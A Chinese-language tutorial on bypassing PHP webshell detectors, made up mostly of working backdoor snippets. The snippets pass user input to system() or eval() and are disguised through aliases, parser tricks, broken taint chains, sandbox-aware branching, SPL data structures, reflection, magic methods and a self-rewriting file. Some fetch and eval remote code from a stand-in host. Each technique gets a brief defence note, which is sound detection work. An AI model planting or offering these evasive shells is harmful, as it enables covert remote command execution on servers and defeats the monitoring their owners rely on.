PHP WebShell绕过技术详解

WebShell检测基础

检测原理

WebShell检测主要分为静态检测和动态检测两种方式。

静态检测

通过分析代码的文本特征,识别潜在的恶意代码。主要技术包括:

  • 特征匹配:匹配危险函数名、敏感字符串等
  • 语义分析:分析代码的语义,识别隐藏的恶意逻辑
  • 代码规范:检查代码格式、编码等规范性

动态检测

通过监控代码的执行行为,识别潜在的恶意行为。主要技术包括:

  • 污点跟踪:追踪用户输入在代码中的传播
  • 行为分析:监控代码的执行行为,识别异常行为
  • 沙箱模拟:在隔离环境中执行代码,观察其行为

常见危险函数

代码执行函数

1
2
3
4
eval()
assert()
create_function()
preg_replace()

命令执行函数

1
2
3
4
5
6
system()
exec()
shell_exec()
passthru()
proc_open()
popen()

文件操作函数

1
2
3
4
5
file_put_contents()
fwrite()
file_get_contents()
include()
require()

静态特征绕过

函数名变形

利用PHP对函数名的处理特性,绕过基于函数名的检测。

大小写变形

1
2
3
EVAL($_POST['cmd']);
Eval($_POST['cmd']);
eVaL($_POST['cmd']);

函数别名

1
2
mbereg_replace('.*', '\0', $_REQUEST['cmd'], 'e');
mbereg_ireplace('.*', '\0', $_REQUEST['cmd'], 'e');

函数重命名

1
2
3
4
5
use function \assert as test;
test($_POST['cmd']);

use function \system as cmd;
cmd($_POST['arg']);

绕过原理:检测工具基于文档中的函数名建立黑名单,无法识别别名和重命名

防御要点:收集所有函数别名,监控use function语法,使用不区分大小写的匹配

代码结构混淆

通过改变代码结构,绕过基于代码结构的检测。

类继承混淆

1
2
3
4
5
6
7
class Base{
public function __construct(){
system($_POST['cmd']);
}
}
class Child extends Base{}
new Child();

参数展开混淆

1
2
3
4
5
function cmd($a, $b){
return system($a . $b);
}
$args = ['sys', 'tem'];
cmd(...$args);

绕过原理:检测工具只分析子类,忽略父类;无法追踪参数展开后的实际值

防御要点:完整分析类继承关系,追踪参数展开

解析器缺陷利用

利用PHP-Parser的解析缺陷,绕过静态检测。

控制字符干扰

1
2
3
<?php
\x00eval($_POST['cmd']);
?>

可插入的控制字符:[\x00-\x20]

特殊标签

1
2
3
<? system($_POST['cmd']); ?>
<% system($_POST['cmd']); %>
<script language="php">system($_POST['cmd']);</script>

绕过原理:PHP-Parser解析失败或无法识别特殊标签,跳过检测

防御要点:处理控制字符,支持所有PHP标签,使用多种解析器交叉验证

动态检测绕过

参数传递绕过

通过非传统的参数传递方式,绕过对常见全局变量的检测。

网络请求引入

1
2
3
4
5
6
7
8
9
$url = "http://x/1.txt";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
eval($output);

Meta标签引入

1
get_meta_tags("http://x/1")["author"](get_meta_tags("http://x/1")["keywords"]);

系统状态引入

1
system(fpm_get_status()["procs"][0]["query-string"]);

复杂引用引入

1
2
$m = ($GLOBALS[GLOBALS]*n[GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][_GET][b]);
substr(timezone_version_get(), 2)($m);

绕过原理:检测工具只检测$_GET$_POST等全局变量,不对网络请求、系统状态等进行检测

防御要点:监控网络请求,检测外部URL请求,监控系统函数调用

污点跟踪绕过

切断污点跟踪链,使检测工具无法追踪到用户输入。

变量引用切断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$b = "111";
$c = "222";
if(get_cfg_var('error_reporting')>0){
$b="#";
}
$a = array("one"=>$c, "two"=>&$c);
$url = "http://a/usr/".$b."?a=1";
$d = parse_url($url);
if($d['query']){
$c="echo 111;";
} else{
$c=$_FILES['useraccount']['name'];
}
eval($a["two"]);

反序列化引用

1
2
3
4
5
6
7
8
9
10
11
12
13
$s = unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}');
$c = "123";
$arr = get_declared_classes();
$i=0;
for($i;$i<count($arr);$i++){
$i++;
$s[1]->a=$_GET['a'];
if($i<97 || $i>=98){
continue;
}
$c=$s[0]->a;
print(substr(get_declared_classes()[72],4,6)($c));
}

绕过原理:通过数组引用、反序列化引用等方式切断污点跟踪链,检测工具无法追踪到用户输入

防御要点:完整追踪变量引用,处理反序列化对象,分析对象引用关系

环境差异利用

利用检测环境与真实环境的差异,构造在不同环境下行为不同的代码。

配置差异

1
2
3
4
5
6
7
8
9
10
11
12
13
if(get_cfg_var('error_reporting')>0){
$b="#";
} else {
$b="?";
}
$url = "http://a/usr/".$b."?a=1";
$d = parse_url($url);
if($d['query']){
$c="echo 111;";
} else{
$c=$_FILES['useraccount']['name'];
}
eval($c);

SESSION差异

1
2
3
4
5
6
7
8
9
10
11
12
13
14
session_start();
if(!isset($_SESSION['initialized'])){
$_SESSION['initialized'] = true;
$_SESSION['a'] = "#";
}
$a = array("one"=>$c, "two"=>&$c);
$url = "http://a/usr/".$_SESSION['a']."?a=1";
$d = parse_url($url);
if($d['query']){
$c="echo 111;";
} else{
$c=$_FILES['useraccount']['name'];
}
eval($a["two"]);

绕过原理:检测环境未配置error_reporting或没有SESSION,真实环境已配置或有SESSION

防御要点:模拟真实环境,处理环境差异

错误处理绕过

通过错误处理机制,使检测引擎因错误而终止。

错误处理器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
set_error_handler(function($error_no, $error_msg, $error_file, $error_line){
trigger_error("xxxxxx", E_USER_ERROR);
}, E_WARNING | E_STRICT);

function xxxe(){
$gen = (function(){
yield 1;
yield $_GET[1];
return 3;
})();
foreach($gen as $val){
echo 1/$_GET['x'];
array_reduce(array(1), join(array_diff(["sys","tem"],[])), ($val));
}
}
header_register_callback('xxxe');

绕过原理:检测时$_GET['x']为0,触发除零错误,终止执行;执行时$_GET['x']为非0,正常执行

防御要点:处理所有可能的错误,不因错误而终止检测

数据结构绕过

堆结构利用

利用堆排序的特性,通过控制参数改变堆结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$obj = new SplMaxHeap();
$obj->insert($_GET['a']);
$obj->insert(8);
$obj->insert('system');
$obj->insert(7);
$obj->insert(0);
$i=0;
foreach($obj as $number){
$i++;
if($i==1){
$a = $number;
}
if($i==2){
$b = $number;
}
}
$a($b);

绕过效果:检测时$_GET['a']为空或正常值,堆结构正常;执行时$_GET['a']99;ls等特殊值,堆结构改变

防御要点:考虑所有可能的参数值,符号执行分析

优先级队列利用

利用优先级队列的特性,通过控制参数改变优先级。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$objPQ = new SplPriorityQueue();
$objPQ->insert('m', 1);
$objPQ->insert('s', 6);
$objPQ->insert('e', 3);
$objPQ->insert('s', 4);
$objPQ->insert('y', 5);
$objPQ->insert('t', $_GET['a']);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
$objPQ->top();
$m='';
$cur = new ErrorException($_GET['b']);
while($objPQ->valid()){
$m.=$objPQ->current();
$objPQ->next();
}
echo $m($cur->getMessage());

绕过效果:检测时$_GET['a']为0,函数名为sysemt;执行时$_GET['a']为3,函数名为system

防御要点:考虑所有可能的参数值,符号执行分析

内存文件利用

利用内存文件对象,避免文件落地。

1
2
3
4
$a = new SplTempFileObject(1000000);
$a->fwrite($_GET['a']);
$a->rewind();
substr(get_declared_classes()[72],4,6)($a->fgets());

绕过原理:使用SplTempFileObject在内存中创建文件,不存在文件落地,绕过文件检测

防御要点:检测内存文件对象,追踪内存文件内容

高级特性绕过

反射机制

利用PHP的反射机制,动态调用危险函数。

1
2
3
4
5
6
$reflection = new ReflectionFunction('system');
$reflection->invoke($_POST['cmd']);

$reflection = new ReflectionClass('system');
$method = $reflection->getMethod('__invoke');
$method->invoke(null, $_POST['cmd']);

防御要点:监控反射机制的使用,追踪反射调用的目标

闭包与生成器

利用闭包和生成器隐藏恶意代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$func = function($cmd){
return system($cmd);
};
$func($_POST['cmd']);

function gen(){
yield 'sys';
yield 'tem';
}
$func = '';
foreach(gen() as $part){
$func .= $part;
}
$func($_POST['cmd']);

防御要点:分析闭包和生成器的内容,追踪其执行

魔术方法

利用魔术方法在特定时机执行恶意代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
class Shell{
public function __destruct(){
system($_POST['cmd']);
}
}
unserialize($_POST['data']);

class Shell{
public function __wakeup(){
system($_POST['cmd']);
}
}
unserialize($_POST['data']);

防御要点:分析魔术方法的内容,监控对象的序列化和反序列化

命名空间与类型

利用命名空间和类型转换特性。

1
2
3
4
5
6
7
8
9
10
11
12
namespace evil{
function system($cmd){
return \system($cmd);
}
}
use evil\system;
system($_POST['cmd']);

function bypass(int $flag){
return $flag;
}
bypass($_GET['cmd']);

防御要点:分析命名空间的使用,追踪跨命名空间的调用;考虑所有可能的类型,类型检查

内置类利用

利用PHP内置类的方法,绕过对危险函数的检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
trait system{}
$a = new JsonException($_GET['a']);
$c = "123";
$arr = getmygid();
$i=0;
for($i;$i<$arr;$i++){
$i++;
if($i<115 || $i>=116){
continue;
}
$c=$a->getMessage();
print(get_declared_traits()[0]($c));
}

绕过原理:定义一个名为system的trait,通过get_declared_traits()获取trait名称,通过JsonException->getMessage()获取参数,分别从危险函数和用户传参两个路径切断污点追踪

防御要点:监控内置类的使用,检测异常的类调用

自我修改

通过修改自身文件,绕过初始检测。

1
2
3
4
5
6
$s="Declaring file object\n";
$d=$_SERVER['DOCUMENT_ROOT'].$_SERVER['DOCUMENT_URI'];
$file = new SplFileObject($d,'w');
$file->fwrite("<?php"." eva".$s[3]);
$file->fwrite("(\$_"."GET"."[a]);?>");
include(get_included_files()[0]);

绕过原理:上传时文件内容正常,通过检测;执行时修改自身为WebShell,通过include(get_included_files()[0])重新加载自身

防御要点:监控文件修改,实时检测文件内容

防御建议

静态检测防御

全面的函数黑名单:收集所有危险函数及其别名,定期更新黑名单

多解析器交叉验证:使用多种解析器交叉验证,避免单一解析器的缺陷

代码规范化:规范化代码格式,统一处理大小写、编码等

语义分析:理解代码的语义,识别隐藏的恶意逻辑

动态检测防御

完整的污点跟踪:追踪所有变量引用,处理反序列化对象

环境模拟:模拟真实环境,处理环境差异

符号执行:考虑所有可能的参数值,分析所有可能的执行路径

错误处理:处理所有可能的错误,不因错误而终止检测

综合防御

多层防御:静态检测 + 动态检测,行为分析 + 机器学习

持续更新:更新检测规则,学习新型绕过技术

监控告警:监控异常行为,及时响应安全事件

安全开发:遵循安全开发规范,使用安全的函数和库

总结

PHP WebShell绕过技术是一个持续发展的领域,攻击者不断寻找新的绕过方法,防御者需要不断更新检测技术。

关键要点

理解PHP特性:深入理解PHP的各种特性,了解PHP的解析和执行机制

发现检测缺陷:找出静态检测的缺陷,找出动态检测的缺陷

构造绕过Payload:精心构造绕过代码,测试绕过效果

持续对抗:攻击者不断寻找新方法,防御者不断更新技术

防御与对抗

WebShell检测与绕过是一个持续的对抗过程,只有不断学习和更新,才能有效防御各种WebShell攻击。